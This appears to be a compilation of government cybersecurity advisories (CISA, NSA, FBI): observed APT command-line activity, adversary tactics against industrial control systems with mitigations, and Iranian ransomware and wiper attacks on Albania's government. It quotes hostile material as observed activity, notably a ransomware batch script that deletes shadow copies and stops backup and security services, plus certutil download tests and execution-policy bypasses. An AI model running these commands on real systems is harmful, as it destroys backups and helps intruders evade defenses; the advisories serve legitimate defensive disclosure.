form a “one liner,” an expression to describe commonly used commands used in exploitation: powershell dir -recurse -path e:\<redacted>|select fullname,length|export-csv c:\windows\temp\temp.txt. This particular command lists subdirectories of the target environment when. systeminfo Displays detailed configuration information [3], tasklist – lists currently running processes [4], and ipconfig – displays all current Transmission Control Protocol (TCP)/IP network configuration values and refreshes Dynamic Host Configuration Protocol (DHCP) and Domain Name System (DNS) settings, respectively [5]. The threat actor used these commands with specific switches to determine if the system was a VMware virtual machine: systeminfo > vmware & date /T, tasklist /v > vmware & date /T, and ipconfig /all >> vmware & date /. route print Used to display and modify the entries in the local IP routing table. [6] The threat actor used this command to display the entries in the local IP routing table. netstat Used to display active TCP connections, ports on which the computer is listening, Ethernet statistics, the IP routing table, IPv4 statistics, and IPv6 statistics.[7] The threat actor used this command with three switches to display TCP connections, prevent hostname determination of foreign IP addresses, and specify the protocol for TCP: netstat -anp tcp. certutil Used to dump and display certification authority (CA) configuration information, configure Certificate Services, backup and restore CA components, and verify certificates, key pairs, and certificate chains.[8] The threat actor used this command with three switches to test if they could download files from the internet: certutil -urlcache -split -f https://microsoft.com temp.html. ping Sends Internet Control Message Protocol (ICMP) echoes to verify connectivity to another TCP/IP computer.[9] The threat actor used ping -n 2 apple.com to either test their internet connection or to detect and avoid virtualization and analysis environments or network restrictions. taskkill Used to end tasks or processes.[10] The threat actor used taskkill /F /PID 8952 to probably disable security features. CISA was unable to determine what this process was as the process identifier (PID) numbers are dynamic. PowerShell Compress-Archive cmdlet Used to create a compressed archive or to zip files from specified files and directories.[11] The threat actor used parameters indicating shared drives as file and folder sources and the destination archive as zipped files. Specifically, they collected sensitive contract-related information from the shared drives.   On the second day, the APT cyber actors executed the commands in Table 3 to perform discovery as well as collect and archive data. Table 3: Windows Command Shell Activity (Day 2) Command Description / Use ntfsinfo.exe Used to obtain volume information from the New Technology File System (NTFS) and to print it along with a directory dump of NTFS meta-data files.[12] WinRAR.exe Used to compress files and subsequently masqueraded WinRAR.exe by renaming it VMware.exe.[13]   On the third day, the APT cyber actors returned to the organization’s network and executed the commands in Table 4. Table 4: Windows Command Shell Activity (Day 3) Command Description / Use powershell -ep bypass import-module .\vmware.ps1;export-mft -volume e Threat actors ran a PowerShell command with parameters to change the execution mode and bypass the Execution Policy to run the script from PowerShell and add a module to the current section: powershell -ep bypass import-module .\vmware.ps1;export-mft -volume e. This module appears to acquire and export the Master File Table (MFT) for volume E for further analysis by the cyber actor.[14] set.exe Used to display the current environment variable settings.[15] (An environment variable is a dynamic value pointing to system or user environments (folders) of the system. System environment variables are defined by the system and used globally by all users, while user environment variables are only used by the user who declared that variable and they override the system environment variables (even if the variables are named the same). dir.exe Used to display a list of a directory's files and subdirectories matching the eagx* text string, likely to confirm the existence of such file. tasklist.exe and find.exe Used to display a list of applications and services with their PIDs for all tasks running on the computer matching the string “powers”.[16][17][18] ping.exe Used to send two ICMP echos to amazon.com. This could have been to detect or avoid virtualization and analysis environments, circumvent network restrictions, or test their internet connection.[19] del.exe with the /f parameter Used to force the deletion of read-only files with the *.rar and tempg* wildcards.[20] References [1] Microsoft Net Share [2] Microsoft Get-ChildItem [3] Microsoft systeminfo [4] Microsoft tasklist [5] Microsoft ipconfig [6] Microsoft Route [7] Microsoft netstat [8] Microsoft certutil [9] Microsoft ping [10] Microsoft taskkill [11] Microsoft Compress-Archive [12] NTFSInfo v1.2 [13] rarlab [14] Microsoft Import-Module [15] Microsoft set (environment variable) [16] Microsoft tasklist [17] Mitre ATT&CK - Sofware: TaskList [18] Microsoft find [19] Microsoft ping [20] Microsoft del Revisions October 4, 2022: Initial version This product is provided subject to this Notification and this Privacy & Use policy.

  • AA22-265A: Control System Defense: Know the Opponent
    by CISA on 22 Settembre 2022 at 12:55 pm

    Original release date: September 22, 2022SummaryTraditional approaches to securing OT/ICS do not adequately address current threats. Operational technology/industrial control system (OT/ICS) assets that operate, control, and monitor day-to-day critical infrastructure and industrial processes continue to be an attractive target for malicious cyber actors. These cyber actors, including advanced persistent threat (APT) groups, target OT/ICS assets to achieve political gains, economic advantages, or destructive effects. Because OT/ICS systems manage physical operational processes, cyber actors’ operations could result in physical consequences, including loss of life, property damage, and disruption of National Critical Functions. OT/ICS devices and designs are publicly available, often incorporate vulnerable information technology (IT) components, and include external connections and remote access that increase their attack surfaces. In addition, a multitude of tools are readily available to exploit IT and OT systems. As a result of these factors, malicious cyber actors present an increasing risk to ICS networks. Traditional approaches to securing OT/ICS do not adequately address current threats to those systems. However, owners and operators who understand cyber actors’ tactics, techniques, and procedures (TTPs) can use that knowledge when prioritizing hardening actions for OT/ICS. This joint Cybersecurity Advisory, which builds on previous NSA and CISA guidance to stop malicious ICS activity and reduce OT exposure [1] [2], describes TTPs that malicious actors use to compromise OT/ICS assets. It also recommends mitigations that owners and operators can use to defend their systems. NSA and CISA encourage OT/ICS owners and operators to apply the recommendations in this CSA. Download the PDF version of this report: pdf, 538.12 kb Technical DetailsOT/ICS assets operate, control, and monitor industrial processes throughout U.S. critical infrastructure. Traditional ICS assets are difficult to secure due to their design for maximum availability and safety, coupled with their use of decades-old systems that often lack any recent security updates. Newer ICS assets may be able to be configured more securely, but often have an increased attack surface due to incorporating Internet or IT network connectivity to facilitate remote control and operations. The net effect of the convergence of IT and OT platforms has increased the risk of cyber exploitation of control systems. [3] Today’s cyber realm is filled with well-funded malicious cyber actors financed by nation-states, as well as less sophisticated groups, independent hackers, and insider threats. Control systems have been targeted by a variety of these malicious cyber actors in recent years to achieve political gains, economic advantages, and possibly destructive effects. [4] [5] [6] [7] [8] More recently, APT actors have also developed tools for scanning, compromising, and controlling targeted OT devices. [9]  Malicious actors’ game plan for control system intrusions Cyber actors typically follow these steps to plan and execute compromises against critical infrastructure control systems: Establish intended effect and select a target. Collect intelligence about the target system. Develop techniques and tools to navigate and manipulate the system. Gain initial access to the system. Execute techniques and tools to create the intended effect. Leveraging specific expertise and network knowledge, malicious actors such as nation-state actors can conduct these steps in a coordinated manner, sometimes concurrently and repeatedly, as illustrated by real world cyber activity. [5] [10] Establish intended effect and select a target Cyber actors, from cyber criminals to state-sponsored APT actors, target critical infrastructure to achieve a variety of objectives. Cyber criminals are financially motivated and target OT/ICS assets for financial gain (e.g., data extortion or ransomware operations). State-sponsored APT actors target critical infrastructure for political and/or military objectives, such as destabilizing political or economic landscapes or causing psychological or social impacts on a population. The cyber actor selects the target and the intended effect—to disrupt, disable, deny, deceive, and/or destroy—based on these objectives. For example, disabling power grids in strategic locations could destabilize economic landscapes or support broader military campaigns. Disrupting water treatment facilities or threatening to destroy a dam could have psychological or social impacts on a population. [11] [12] Collect intelligence about the target system Once the intent and target are established, the actor collects intelligence on the targeted control system. The actor may collect data from multiple sources, including: Open-source research: A great deal of information about control systems and their designs is publicly available. For example, solicitation information and employment advertisements may indicate components and—list specific model numbers. Insider threats: The actor may also leverage trusted insiders, even unwitting ones, for collecting information. Social engineering often elicits a wealth of information from people looking for a new job or even just trying to help. Enterprise networks: The actor may compromise enterprise IT networks and collect and exfiltrate ICS-related information. Procurement documents, engineering specifications, and even configurations may be stored on corporate IT networks. In addition to OT-specific intelligence, information about IT technologies used in control systems is widely available. Knowledge that was once limited to control system engineers and OT operators has become easily available as IT technologies move into more of the control system environment. Control system vendors, in conjunction with the owner/operator community, have continually optimized and reduced the cost of engineering, operating, and maintaining control systems by incorporating more commodity IT components and technologies in some parts of OT environments. These advancements sometimes can make information about some systems easily available, thereby increasing the risk of cyber exploitation.  Develop techniques and tools Using the intelligence collected about the control system’s design, a cyber actor may procure systems that are similar to the target and configure them as mock-up versions for practice purposes. Nation-state actors can easily obtain most control system equipment. Groups with limited means can still often acquire control systems through willing vendors and secondhand resellers. Access to a mock-up of the target system enables an actor to determine the most effective tools and techniques. A cyber actor can leverage resident system utilities, available exploitation tools; or, if necessary, develop or purchase custom tools to affect the control system. Utilities that are already on the system can be used to reconfigure settings and may have powerful troubleshooting capabilities.  As the control system community has incorporated commodity IT and modernized OT, the community has simplified the tools, techniques, scripts, and software packages used in control systems. As a result, a multitude of convenient tools are readily available to exploit IT and OT systems. Actors may also develop custom ICS-focused malware based on their knowledge of the control systems. For example, TRITON malware was designed to target certain versions of Triconex Tricon programmable logic controllers (PLCs) by modifying in-memory firmware to add additional programming. The extra functionality allows an actor to read/modify memory contents and execute custom code, disabling the safety system. [13] APT actors have also developed tools to scan for, compromise, and control certain Schneider Electric PLCs, OMRON Sysmac NEX PLCs, and Open Platform Communications Unified Architecture (OPC UA) servers. [9]  With TTPs in place, a cyber actor is prepared to do virtually anything that a normal system operator can, and potentially much more. Gain initial access to the system To leverage the techniques and tools that they developed and practiced, cyber actors must first gain access to the targeted system.  Most modern control systems maintain remote access capabilities allowing vendors, integrators, service providers, owners, and operators access to the system. Remote access enables these parties to perform remote monitoring services, diagnose problems remotely, and verify warranty agreements.  However, these access points often have poor security practices, such as using default and maintenance passwords. Malicious cyber actors can leverage these access points as vectors to covertly gain access to the system, exfiltrate data, and launch other cyber activities before an operator realizes there is a problem. Malicious actors can use web-based search platforms, such as Shodan, to identify these exposed access points.  Vendor access to control systems typically use connections that create a bridge between control system networks and external environments. Often unknown to the owner/operator, this bridge provides yet another path for cyber exploitation and allows cyber actors to take advantage of vulnerabilities in other infrastructure to gain access to the control system.  Remote access points and methodologies use a variety of access and communication protocols. Many are nothing more than vendor-provided dial-up modems and network switches protected only by obscurity and passwords. Some are dedicated devices and services that communicate via more secure virtual private networks (VPNs) and encryption. Few, if any, offer robust cybersecurity capabilities to protect the control system access points or prevent the transmission of acquired data outside the relatively secure environment of the isolated control system. This access to an ostensibly closed control system can be used to exploit the network and components. Execute techniques and tools to create the intended effects Once an actor gains initial access to targeted OT/ICS system, the actor will execute techniques, tools, and malware to achieve the intended effects on the target system. To disrupt, disable, deny, deceive, and/or destroy the system, the malicious actor often performs, in any order or in combination, the following activities: Degrade the operator's ability to monitor the targeted system or degrade the operator’s confidence in the control system’s ability to operate, control, and monitor the targeted system. Functionally, an actor could prevent the operator's display (human machine interface, or HMI) from being updated and selectively update or change visualizations on the HMI, as witnessed during the attack on the Ukraine power grid. [5] (Manipulation of View [T0832] ) Operate the targeted control system. Functionally, this includes the ability to modify analog and digital values internal to the system (changing alarms and adding or modifying user accounts), or to change output control points — this includes abilities such as altering tap changer output signals, turbine speed demand, and opening and closing breakers. (Manipulation of Control [T0831]) Impair the system's ability to report data. Functionally, this is accomplished by degrading or disrupting communications with external communications circuits (e.g., ICCP , HDLC , PLC , VSAT, SCADA radio, other radio frequency mediums), remote terminal units (RTUs) or programmable logic controllers (PLCs), connected business or corporate networks, HMI subnetworks, other remote I/O, and any connected Historian/bulk data storage. (Block Reporting Message [T0804], Denial of View [T0815]) Deny the operator's ability to control the targeted system. Functionally, this includes the ability to stop, abort, or corrupt the system’s operating system (OS) or the supervisory control and data acquisition (SCADA) system’s software functionality. (Denial of Control [T0813]) Enable remote or local reconnaissance on the control system. Functionally, an actor could obtain system configuration information to enable development of a modified system configuration or a custom tool. (Collection [TA0100], Theft of Operational Information [T0882]) Using these techniques, cyber actors could cause various physical consequences. They could open or close breakers, throttle valves, overfill tanks, set turbines to over-speed, or place plants in unsafe operating conditions. Additionally, cyber actors could manipulate the control environment, obscuring operator awareness and obstructing recovery, by locking interfaces and setting monitors to show normal conditions. Actors can even suspend alarm functionality, allowing the system to operate under unsafe conditions without alerting the operator. Even when physical safety systems should prevent catastrophic physical consequences, more limited effects are possible and could be sufficient to meet the actor’s intent. In some scenarios though, if an actor simultaneously manipulates multiple parts of the system, the physical safety systems may not be enough. Impacts to the system could be temporary or permanent, potentially even including physical destruction of equipment.  MitigationsThe complexity of balancing network security with performance, features, ease-of-use, and availability can be overwhelming for owner/operators. This is especially true where system tools and scripts enable ease-of-use and increase availability or functionality of the control network; and when equipment vendors require remote access for warranty     compliance, service obligations, and financial/billing functionality. However, with the increase in targeting of OT/ICS by malicious actors, owner/operators should be more cognizant of the risks when making these balancing decisions. Owner/operators should also carefully consider what information about their systems needs to be publicly available and determine if each external connection is truly needed. [1]  System owners and operators cannot prevent a malicious actor from targeting their systems. Understanding that being targeted is not an “if” but a “when” is essential context for making ICS security decisions. By assuming that the system is being targeted and predicting the effects that a malicious actor would intend to cause, owner/operators can employ and prioritize mitigation actions. However, the variety of available security solutions can also be intimidating, resulting in choice paralysis. In the midst of so many options, owner/operators may be unable to incorporate simple security and administrative strategies that could mitigate many of the common and realistic threats. Fortunately, owner/operators can apply a few straightforward ICS security best practices to counter adversary TTPs.  Limit exposure of system information Operational and system information and configuration data is a key element of critical infrastructure operations. The importance of keeping such data confidential cannot be overstated. To the extent possible, avoid disclosing information about system hardware, firmware, and software in any public forum. Incorporate information protection education into training for personnel. Limit information that is sent out from the system. Document the answers to the following questions: From where and to where is data flowing? How are the communication pathways documented and how is the data secured/encrypted? How is the data used and secured when it arrives at its destination? What are the network security standards at the data destination, whether a vendor/regulator or administrator/financial institution?  Can the data be shared further once at its destination? Who has the authority to share this data? Eliminate all other data destinations. Share only the data necessary to comply with applicable legal requirements, such as those contractually required by vendors—nothing more. Do not allow other uses of the data and other accesses to the system without strict administrative policies designed specifically to protect the data. Prevent new connections to the control system using strict administrative accountability. Ensure strict agreements are in place with outside systems/vendors when it comes to sharing, access, and use. Have strong policies for the destruction of such data. Audit policies and procedures to verify compliance and secure data once it gets to its destination, and determine who actually has access to it.  Identify and secure remote access points Owner/operators must maintain detailed knowledge of all installed systems, including which remote access points are—or could be—operating in the control system network. Creating a full “connectivity inventory” is a critical step in securing access to the system. Many vendor-provided devices maintain these access capabilities as an auxiliary function and may have services that will automatically ‘phone home’ in an attempt to register and update software or firmware. A vendor may also have multiple access points to cover different tasks.  Once owner/operators have identified all remote access points on their systems, they can implement the following recommendations to improve their security posture: Reduce the attack surface by proactively limiting and hardening Internet-exposed assets. See CISA’s Get Your Stuff Off Search page for more information. Establish a firewall and a demilitarized zone (DMZ) between the control system and the vendor’s access points and devices. Do not allow direct access into the system; use an intermediary service to share only necessary data and only when required. For more information see CISA’s infographic Layering Network Security Through Segmentation. [14] Consider using virtual private networks (VPNs) at specific points to and from the system rather than allowing separate access points for individual devices or vendors. Utilize jump boxes to isolate and monitor access to the system. Ensure that data can only flow outward from the system – administratively and physically. Use encrypted links to exchange data outside of the system. Enforce strict compliance with policies and procedures for remote access, even if personnel complain that it is too difficult. If the system does not use vendor access points and devices, ensure that none are active. Use strict hardware, software, and administrative techniques to prevent them from becoming covertly active. Do not allow vendor-provided system access devices and software to operate continuously in the system without full awareness of their security posture and access logs. Install and keep current all vendor-provided security systems associated with the installed vendor access points. Review configurations to ensure they are configured securely. Operators typically focus on necessary functionality, so properly securing the configurations and remote access may be overlooked.  Consider penetration testing to validate the system’s security posture and any unknown accesses or access vulnerabilities.  Add additional security features to the system as needed. Do not assume that one vendor has a monopoly on the security of their equipment; other vendors may produce security features to fill gaps.  Change all default passwords throughout the system and update any products with hard-coded passwords, especially in all remote access and security components. Patch known exploited vulnerabilities whenever possible. Prioritize timely patching of all remote access points. Keep operating systems, firewalls, and all security features up-to-date. Continually monitor remote access logs for suspicious accesses. Securely aggregate logs for easier monitoring. Restrict tools and scripts  Limit access to network and control system application tools and scripts to legitimate users performing legitimate tasks on the control system. Removing the tools and scripts entirely and patching embedded control system components for exploitable vulnerabilities is often not feasible. Thus, carefully apply access and use limitations to particularly vulnerable processes and components to limit the threat. The control system and any accompanying vendor access points may have been delivered with engineering, configuration, and diagnostic tools pre-installed. Engineers use these tools to configure and modify the system and its processes as needed. However, such tools can also be used by a malicious actor to manipulate the system, without needing any special additional tools. Using the system against itself is a powerful cyber exploitation technique. Mitigations strategies include: Identify any engineering, configuration, or diagnostic tools. Securely store gold copies of these tools external to the system if possible. Remove all non-critical tools. Prevent these tools from being reinstalled. Perform routine audits to check that these tools have not been reinstalled. Conduct regular security audits The owner/operator of the control system should consider performing an independent security audit of the system, especially of third-party vendor access points and systems. The owner/operator cannot solely depend on the views, options, and guidance of the vendor/integrator that designed, developed, or sold the system. The goal of such an audit is to identify and document system vulnerabilities, practices, and procedures that should be eliminated to improve the cyber defensive posture, and ultimately prevent malicious cyber actors from being able to cause their intended effects. Steps to consider during an audit include the following: Validate all connections (e.g., network, serial, modem, wireless, etc.). Review system software patching procedures. Confirm secure storage of gold copies (e.g., OS, firmware, patches, configurations, etc.). Verify removal from the system of all non-critical software, services, and tools. Audit the full asset inventory.  Implement CISA ICS mitigations and best practices. [15] [16] Monitor system logs and intrusion detection system (IDS) logs. Implement a dynamic network environment Static network environments provide malicious actors with persistent knowledge of the system. A static network can provide cyber actors the opportunity to collect bits of intelligence about the system over time, establish long-term accesses into the system, and develop the tools and TTPs to affect the control system as intended.  While it may be unrealistic for the administrators of many OT/ICS environments to make regular non-critical changes, owner/operators should consider periodically making manageable network changes. A little change can go a long way to disrupt previously obtained access by a malicious actor. Consider the following: Deploy additional firewalls and routers from different vendors. Modify IP address pools. Replace outdated hardware (e.g., workstations, servers, printers, etc.). Upgrade operating systems. Install or upgrade commercially available security packages for vendor access points and methodologies. Planning these changes with significant forethought can help minimize the impact on network operation. Owner/operators should familiarize themselves with the risks to the system as outlined by the product vendor. These may be described in manuals as the system using insecure protocols for interoperability or certain configurations that may expose the system in additional ways. Changes to the system to reduce these risks should be considered and implemented when feasible. Conclusion The combination of integrated, simplified tools and remote accesses creates an environment ripe for malicious actors to target control systems networks. New IT-enabled accesses provide cyber actors with a larger attack surface into cyber-physical environments. It is vital for OT/ICS defenders to anticipate the TTPs of cyber actors combining IT expertise with engineering know-how. Defenders can employ the mitigations listed in this advisory to limit unauthorized access, lock down tools and data flows, and deny malicious actors from achieving their desired effects.  Disclaimer of endorsement The information and opinions contained in this document are provided "as is" and without any warranties or guarantees. Reference herein to any specific commercial products, process, or service by trade name, trademark, manufacturer, or otherwise, does not constitute or imply its endorsement, recommendation, or favoring by the United States Government, and this guidance shall not be used for advertising or product endorsement purposes. Purpose This advisory was developed by NSA and CISA in furtherance of their cybersecurity missions, including their responsibilities to develop and issue cybersecurity specifications and mitigations. This information may be shared broadly to reach all appropriate stakeholders.   Contact InformationFor NSA client requirements or general cybersecurity inquiries, contact Cybersecurity_Requests@nsa.gov. To report incidents and anomalous activity or to request incident response resources or technical assistance related to these threats, contact CISA at report@cisa.gov.  Media Inquiries / Press Desk:  NSA Media Relations, 443-634-0721, MediaRelations@nsa.gov  CISA Media Relations, 703-235-2010, CISAMedia@cisa.dhs.gov  References [1] National Security Agency (2021), Stop Malicious Cyber Activity Against Connected Operational Technology. [2] National Security Agency and Cybersecurity and Infrastructure Security Agency (2020), NSA and CISA Recommend Immediate Actions to Reduce Exposure Across all Operational Technologies and Control Systems. [3] Tenable (2018), The Challenges of Securing Industrial Control Systems from Cyberattacks. [4] Cybersecurity and Infrastructure Security Agency (2022), Russian State-Sponsored and Criminal Cyber Threats to Critical Infrastructure. [5] Cybersecurity and Infrastructure Security Agency (2021), Cyber-Attack Against Ukrainian Critical Infrastructure. [6] Cybersecurity and Infrastructure Security Agency (2021), Ongoing Cyber Threats to U.S. Water and Wastewater Systems. [7] Cybersecurity and Infrastructure Security Agency (2020), Ransomware Impacting Pipeline Operations. [8] Cybersecurity and Infrastructure Security Agency (2021), Chinese Gas Pipeline Intrusion Campaign, 2011 to 2013 [9] Cybersecurity and Infrastructure Security Agency (2022), APT Cyber Tools Targeting ICS/SCADA Devices [10] Cybersecurity and Infrastructure Security Agency (2022), Tactics, Techniques, and Procedures of Indicted State-Sponsored Russian Cyber Actors Targeting the Energy Sector. [11] The American Society of Mechanical Engineers (2016), Securing the Power Grid Against Cyber Attack. [12] PBS FRONTLINE (2003), Vulnerability: the power grid? [13] Cybersecurity and Infrastructure Security Agency (2018), Schneider Electric Triconex Tricon (Update B). [14] Cybersecurity and Infrastructure Security Agency (2022), Layering Network Security Through Segmentation. [15] Cybersecurity and Infrastructure Security Agency, Recommended Cybersecurity Practices for Industrial Control Systems. [16] Cybersecurity and Infrastructure Security Agency Industrial Control Systems Cyber Emergency Response Team (2016), Recommended Practice: Improving Industrial Control System Cybersecurity with Defense-in-Depth Strategies Revisions Initial Release: September 22, 2022 This product is provided subject to this Notification and this Privacy & Use policy.

  • AA22-264A: Iranian State Actors Conduct Cyber Operations Against the Government of Albania
    by CISA on 21 Settembre 2022 at 5:00 pm

    Original release date: September 21, 2022 | Last revised: September 23, 2022SummaryThe Federal Bureau of Investigation (FBI) and the Cybersecurity and Infrastructure Security Agency (CISA) are releasing this joint Cybersecurity Advisory to provide information on recent cyber operations against the Government of Albania in July and September. This advisory provides a timeline of activity observed, from initial access to execution of encryption and wiper attacks. Additional information concerning files used by the actors during their exploitation of and cyber attack against the victim organization is provided in Appendices A and B. In July 2022, Iranian state cyber actors—identifying as “HomeLand Justice”—launched a destructive cyber attack against the Government of Albania which rendered websites and services unavailable. A FBI investigation indicates Iranian state cyber actors acquired initial access to the victim’s network approximately 14 months before launching the destructive cyber attack, which included a ransomware-style file encryptor and disk wiping malware. The actors maintained continuous network access for approximately a year, periodically accessing and exfiltrating e-mail content. Between May and June 2022, Iranian state cyber actors conducted lateral movements, network reconnaissance, and credential harvesting from Albanian government networks. In July 2022, the actors launched ransomware on the networks, leaving an anti-Mujahideen E-Khalq (MEK) message on desktops. When network defenders identified and began to respond to the ransomware activity, the cyber actors deployed a version of ZeroCleare destructive malware. In June 2022, HomeLand Justice created a website and multiple social media profiles posting anti-MEK messages. On July 18, 2022, HomeLand Justice claimed credit for the cyber attack on Albanian government infrastructure. On July 23, 2022, Homeland Justice posted videos of the cyber attack on their website. From late July to mid-August 2022, social media accounts associated with HomeLand Justice demonstrated a repeated pattern of advertising Albanian Government information for release, posting a poll asking respondents to select the government information to be released by HomeLand Justice, and then releasing that information—either in a .zip file or a video of a screen recording with the documents shown. In September 2022, Iranian cyber actors launched another wave of cyber attacks against the Government of Albania, using similar TTPs and malware as the cyber attacks in July. These were likely done in retaliation for public attribution of the cyber attacks in July and severed diplomatic ties between Albania and Iran. Download the PDF version of this report: pdf, 1221 kb Download the STIX file: pdf, 44 KB Technical DetailsInitial access Timeframe: Approximately 14 months before encryption and wiper attacks. Details: Initial access was obtained via exploitation of an Internet-facing Microsoft SharePoint, exploiting CVE-2019-0604. Persistence and Lateral movement Timeframe: Approximately several days to two months after initial compromise. Details: After obtaining access to the victim environment, the actors used several .aspx webshells, pickers.aspx, error4.aspx, and ClientBin.aspx, to maintain persistence. During this timeframe, the actors also used RDP (primarily), SMB, and FTP for lateral movement throughout the victim environment. Exchange Server compromise Timeframe: Approximately 1-6 months after initial compromise. Details: The actors used a compromised Microsoft Exchange account to run searches (via CmdLets New-MailboxSearch and Get-Recipient) on various mailboxes, including for administrator accounts. In this timeframe, the actors used the compromised account to create a new Exchange account and add it to the Organization Management role group. Likely Email exfiltration Timeframe: Approximately 8 months after initial compromise. Details: The actors made thousands of HTTP POST requests to Exchange servers of the victim organization. The FBI observed the client transferring roughly 70-160 MB of data, and the server transferring roughly 3-20 GB of data. VPN activity Timeframe: Approximately 12-14 months after initial compromise. Details: Approximately twelve months after initial access and two months before launching the destructive cyber attack, the actors made connections to IP addresses belonging to the victim organization’s Virtual Private Network (VPN) appliance. The actors’ activity primarily involved two compromised accounts. The actors executed the “Advanced Port Scanner” (advanced_port_scanner.exe). The FBI also found evidence of Mimikatz usage and LSASS dumping. File Cryptor (ransomware-style file encryptor) Timeframe: Approximately 14 months after initial compromise. Details: For the encryption component of the cyber attack, the actor logged in to a victim organization print server via RDP and kicked off a process (Mellona.exe) which would propagate the GoXml.exe encryptor to a list of internal machines, along with a persistence script called win.bat. As deployed, GoXML.exe encrypted all files (except those having extensions .exe, .dll, .sys, .lnk, or .lck) on the target system, leaving behind a ransom note titled How_To_Unlock_MyFiles.txt in each folder impacted. Wiper attack Timeframe: Approximately 14 months after initial compromise. Details: In the same timeframe as the encryption attack, the actors began actions that resulted in raw disk drives being wiped with the Disk Wiper tool (cl.exe) described in Appendix A. Approximately over the next eight hours, numerous RDP connections were logged from an identified victim server to other hosts on the victim’s network. Command line execution of cl.exe was observed in cached bitmap files from these RDP sessions on the victim server. MitigationsFBI and CISA recommend organizations apply the following best practices to reduce risk of compromise:  Ensure anti-virus and anti-malware software is enabled and signature definitions are updated regularly and in a timely manner. Well-maintained anti-virus software may prevent use of commonly deployed cyber attacker tools that are delivered via spear-phishing. Adopt threat reputation services at the network device, operating system, application, and email service levels. Reputation services can be used to detect or prevent low-reputation email addresses, files, URLs, and IP addresses used in spear-phishing attacks. If your organization is employing certain types of software and appliances vulnerable to known Common Vulnerabilities and Exposures (CVEs), ensure those vulnerabilities are patched. Prioritize patching known exploited vulnerabilities. Monitor for unusually large amounts of data (i.e. several GB) being transferred from a Microsoft Exchange server. Check the host-based indications, including webshells, for positive hits within your environment. Maintain and test an incident response plan. Ensure your organization has a vulnerability management program in place and that it prioritizes patch management and vulnerability scanning of known exploited vulnerabilities. Note: CISA’s Cyber Hygiene Services (CyHy) are free to all state, local, tribal, and territorial (SLTT) organizations, as well as public and private sector critical infrastructure organizations. Properly configure and secure internet-facing network devices. Do not expose management interfaces to the internet. Disable unused or unnecessary network ports and protocols. Disable/remove unused network services and devices. Adopt zero-trust principles and architecture, including: Micro-segmenting networks and functions to limit or block lateral movements. Enforcing phishing-resistant multifactor authentication (MFA) for all users and VPN connections. Restricting access to trusted devices and users on the networks. For more information on Iranian government-sponsored malicious cyber activity, see CISA's webpage – Iran Cyber Threat Overview and Advisories. Appendix A Host-based IOCs Additional details concerning some of these files are provided in Appendix B. File MD5 Hash Notes Error4.aspx 81e123351eb80e605ad73268a5653ff3 Webshell cl.exe 7b71764236f244ae971742ee1bc6b098 Wiper GoXML.exe bbe983dba3bf319621b447618548b740 Encryptor Goxml.jpg 0738242a521bdfe1f3ecc173f1726aa1   ClientBin.aspx a9fa6cfdba41c57d8094545e9b56db36 Webshell (reverse-proxy connections) Pickers.aspx 8f766dea3afd410ebcd5df5994a3c571 Webshell evaluatesiteupgrade.cs.aspx Unknown Webshell mellona.exe 78562ba0069d4235f28efd01e3f32a82 Propagation for Encryptor win.bat 1635e1acd72809479e21b0ac5497a79b Launches GoXml.exe on startup win.bat 18e01dee14167c1cf8a58b6a648ee049 Changes desktop background to encryption image bb.bat 59a85e8ec23ef5b5c215cd5c8e5bc2ab Saves SAM and SYSTEM hives to C:\Temp, makes cab archive disable_defender.exe 60afb1e62ac61424a542b8c7b4d2cf01 Disables Windows Defender rwdsk.sys 8f6e7653807ebb57ecc549cef991d505 Raw disk driver utilized by wiper malware App_Web_bckwssht.dll e9b6ecbf0783fa9d6981bba76d949c94     Network-based IOCs FBI review of Commercial VPN service IP addresses revealed the following resolutions (per Akamai data): Country Company AL KEMINET LTD. DE NOOP-84-247-59-0-25 DE GSL NETWORKS GB LON-CLIENTS GB GB-DATACENTER NL NL-LAYERSWITCH-20190220 NL PANQ-45-86-200-0 US PRIVATE CUSTOMER US BANDITO NETWORKS US EXTERNAL US RU-SELENA-20080725 US TRANS OCEAN NETWORK Appendix B Ransomware Cryptor GoXML.exe is a ransomware style file encryptor. It is a Windows executable, digitally signed with a certificate issued to the Kuwait Telecommunications Company KSC, a subsidiary of Saudi Telecommunications Company (STC). If executed with five or more arguments (the arguments can be anything, as long as there are five or more), the program silently engages its file encryption functionality. Otherwise, a file-open dialog Window is presented, and any opened documents receive an error prompt labeled, Xml Form Builder. All internal strings are encrypted with a hard coded RC4 key. Before internal data is decrypted, the string decryption routine has a built-in self-test that decrypts a DWORD value and tests to see if the plaintext is the string yes. If so, it will continue to decode its internal strings. The ransomware will attempt to launch the following batch script; however, this will fail due to a syntax error. @for /F "skip=1" %C in ('wmic LogicalDisk get DeviceID') do (@wmic /namespace:\\root\default Path SystemRestore Call disable "%C\" & @rd /s /q %C\$Recycle.bin) @vssadmin.exe delete shadows /all /quiet @set SrvLst=vss sql svc$ memtas mepos sophos veeam backup GxVss GxBlr GxFWD GxCVD GxCIMgr DefWatch ccEvtMgr ccSetMgr SavRoam RTVscan QBFCService QBIDPService ntuit.QuickBooks.FCS QBCFMonitorService YooBackup YooIT zhudongfangyu sophos stc_raw_agent VSNAPVSS VeeamTransportSvc VeeamDeploymentService VeeamNFSSvc veeam PDVFSService BackupExecVSSProvider BackupExecAgentAccelerator BackupExecAgentBrowser BackupExecDiveciMediaService BackupExecJobEngine BackupExecManagementService BackupExecRPCService AcrSch2Svc AcronisAgent CASAD2DWebSvc CAARCUpdateSvc @for %C in (%SrvLst%) do @net stop %C @set SrvLst= @set PrcLst=mysql sql oracle ocssd dbsnmp synctime agntsvc isqlplussvc xfssvccon mydesktopservice ocautoupds encsvc tbirdconfig mydesktopqos ocomm dbeng50 sqbcoreservice excel infopath msaccess mspub onenote outlook powerpnt steam thebat thunderbird visio winword wordpad notepad @for %C in (%PrcLst%) do @taskkill /f /im "%C.exe" @set PrcLst= @exit   The syntax error consists of a missing backslash that separates system32 and cmd.exe, so the process is launched as system32cmd.exe which is an invalid command.   The ransomware’s file encryption routine will generate a random string, take the MD5 hash and use that to generate an RC4 128 key which is used to encrypt files. This key is encrypted with a hard coded Public RSA key and converted to Base64 utilizing a custom alphabet. This is appended to the end of the ransom note. The cryptor places a file called How_To_Unlock_MyFiles.txt in directories with encrypted files. Each encrypted file is given the .lck extension and the contents of each file are only encrypted up to 0x100000 or 1,048,576 bytes which is a hard coded limit. Separately, the actor ran a batch script (win.bat below) to set a specific desktop background. File Details GoXml.exe File Size: 43.48 KB (44520 bytes) SHA256: f116acc6508843f59e59fb5a8d643370dce82f492a217764521f46a856cc4cb5 SHA1: 5d117d8ef075f3f8ed1d4edcc0771a2a0886a376 MD5: 